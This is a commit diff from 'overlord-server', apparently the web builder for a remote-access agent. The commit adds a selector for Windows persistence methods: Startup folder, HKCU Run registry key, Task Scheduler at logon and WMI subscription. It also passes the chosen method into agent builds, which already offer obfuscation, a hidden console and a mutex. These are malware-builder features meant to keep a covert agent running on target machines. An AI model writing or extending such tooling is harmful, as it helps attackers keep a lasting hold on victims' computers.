add more persistence options and fix startup detections. Also bump version to 1.3.5
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "overlord-server",
|
||||
"version": "1.3.4",
|
||||
"version": "1.3.5",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
|
||||
@@ -75,6 +75,18 @@ if (rawServerListCheckbox && serverUrlInput) {
|
||||
});
|
||||
}
|
||||
|
||||
const persistenceCheckbox = document.querySelector('input[name="enable-persistence"]');
|
||||
const persistenceMethodContainer = document.getElementById("persistence-method-container");
|
||||
if (persistenceCheckbox && persistenceMethodContainer) {
|
||||
persistenceCheckbox.addEventListener("change", () => {
|
||||
if (persistenceCheckbox.checked) {
|
||||
persistenceMethodContainer.classList.remove("hidden");
|
||||
} else {
|
||||
persistenceMethodContainer.classList.add("hidden");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
async function init() {
|
||||
try {
|
||||
updateServerUrlPlaceholder();
|
||||
@@ -191,6 +203,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
const enablePersistence = form.querySelector(
|
||||
'input[name="enable-persistence"]',
|
||||
).checked;
|
||||
const persistenceMethod = form.querySelector('#persistence-method')?.value || 'startup';
|
||||
const hideConsole = form.querySelector(
|
||||
'input[name="hide-console"]',
|
||||
).checked;
|
||||
@@ -208,6 +221,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: enablePersistence ? persistenceMethod : undefined,
|
||||
hideConsole,
|
||||
noPrinting,
|
||||
};
|
||||
|
||||
@@ -322,6 +322,30 @@
|
||||
>
|
||||
</div>
|
||||
</label>
|
||||
<!-- Persistence method selector – Windows only, shown when persistence is enabled -->
|
||||
<div
|
||||
id="persistence-method-container"
|
||||
class="hidden pl-3 border-l-2 border-orange-500/40"
|
||||
>
|
||||
<label
|
||||
class="block text-xs font-medium text-slate-400 mb-1"
|
||||
for="persistence-method"
|
||||
>Windows Persistence Method</label
|
||||
>
|
||||
<select
|
||||
id="persistence-method"
|
||||
name="persistence-method"
|
||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
|
||||
>
|
||||
<option value="startup">Startup Folder (APPDATA)</option>
|
||||
<option value="registry">Registry (HKCU Run key)</option>
|
||||
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
|
||||
<option value="wmi">WMI Subscription (requires admin)</option>
|
||||
</select>
|
||||
<p class="text-xs text-slate-500 mt-1">
|
||||
Method used on Windows; other platforms use their native mechanism
|
||||
</p>
|
||||
</div>
|
||||
<label
|
||||
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
|
||||
title="Windows only: build without a console window"
|
||||
|
||||
@@ -18,6 +18,7 @@ export type BuildConfig = {
|
||||
disableCgo?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
};
|
||||
|
||||
@@ -61,10 +61,13 @@ type BuildProcessConfig = {
|
||||
disableCgo?: boolean;
|
||||
obfuscate?: boolean;
|
||||
enablePersistence?: boolean;
|
||||
persistenceMethod?: string;
|
||||
hideConsole?: boolean;
|
||||
noPrinting?: boolean;
|
||||
};
|
||||
|
||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||
|
||||
type BuildProcessDeps = {
|
||||
generateBuildMutex: (length?: number) => string;
|
||||
sanitizeOutputName: (name: string) => string;
|
||||
@@ -307,6 +310,11 @@ export async function startBuildProcess(
|
||||
const persistenceFlag = "-X overlord-client/cmd/agent/config.DefaultPersistence=true";
|
||||
ldflags = ldflags ? `${ldflags} ${persistenceFlag}` : persistenceFlag;
|
||||
sendToStream({ type: "output", text: `Persistence enabled for ${platform}\n`, level: "info" });
|
||||
if (os === 'windows' && config.persistenceMethod && VALID_PERSISTENCE_METHODS.has(config.persistenceMethod)) {
|
||||
const methodFlag = `-X overlord-client/cmd/agent/persistence.DefaultPersistenceMethod=${config.persistenceMethod}`;
|
||||
ldflags = `${ldflags} ${methodFlag}`;
|
||||
sendToStream({ type: "output", text: `Persistence method: ${config.persistenceMethod}\n`, level: "info" });
|
||||
}
|
||||
} else {
|
||||
sendToStream({ type: "output", text: `Persistence is not supported on ${platform}, skipping...\n`, level: "warning" });
|
||||
}
|
||||
|
||||
@@ -46,6 +46,7 @@ export async function handleBuildRoutes(
|
||||
disableCgo,
|
||||
obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod,
|
||||
mutex,
|
||||
disableMutex,
|
||||
hideConsole,
|
||||
@@ -112,6 +113,11 @@ export async function handleBuildRoutes(
|
||||
});
|
||||
|
||||
const safeNoPrinting = !!noPrinting;
|
||||
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
|
||||
const safePersistenceMethod =
|
||||
typeof persistenceMethod === 'string' && VALID_PERSISTENCE_METHODS.has(persistenceMethod.toLowerCase())
|
||||
? persistenceMethod.toLowerCase()
|
||||
: 'startup';
|
||||
deps.startBuildProcess(buildId, {
|
||||
platforms: allowedPlatforms,
|
||||
serverUrl: safeServerUrl,
|
||||
@@ -122,6 +128,7 @@ export async function handleBuildRoutes(
|
||||
disableCgo,
|
||||
obfuscate: !!obfuscate,
|
||||
enablePersistence,
|
||||
persistenceMethod: safePersistenceMethod,
|
||||
hideConsole: !!hideConsole,
|
||||
noPrinting: safeNoPrinting,
|
||||
});
|
||||
|
||||
@@ -1 +1 @@
|
||||
export const SERVER_VERSION = "1.3.4";
|
||||
export const SERVER_VERSION = "1.3.5";
|
||||
|
||||
Reference in New Issue
Block a user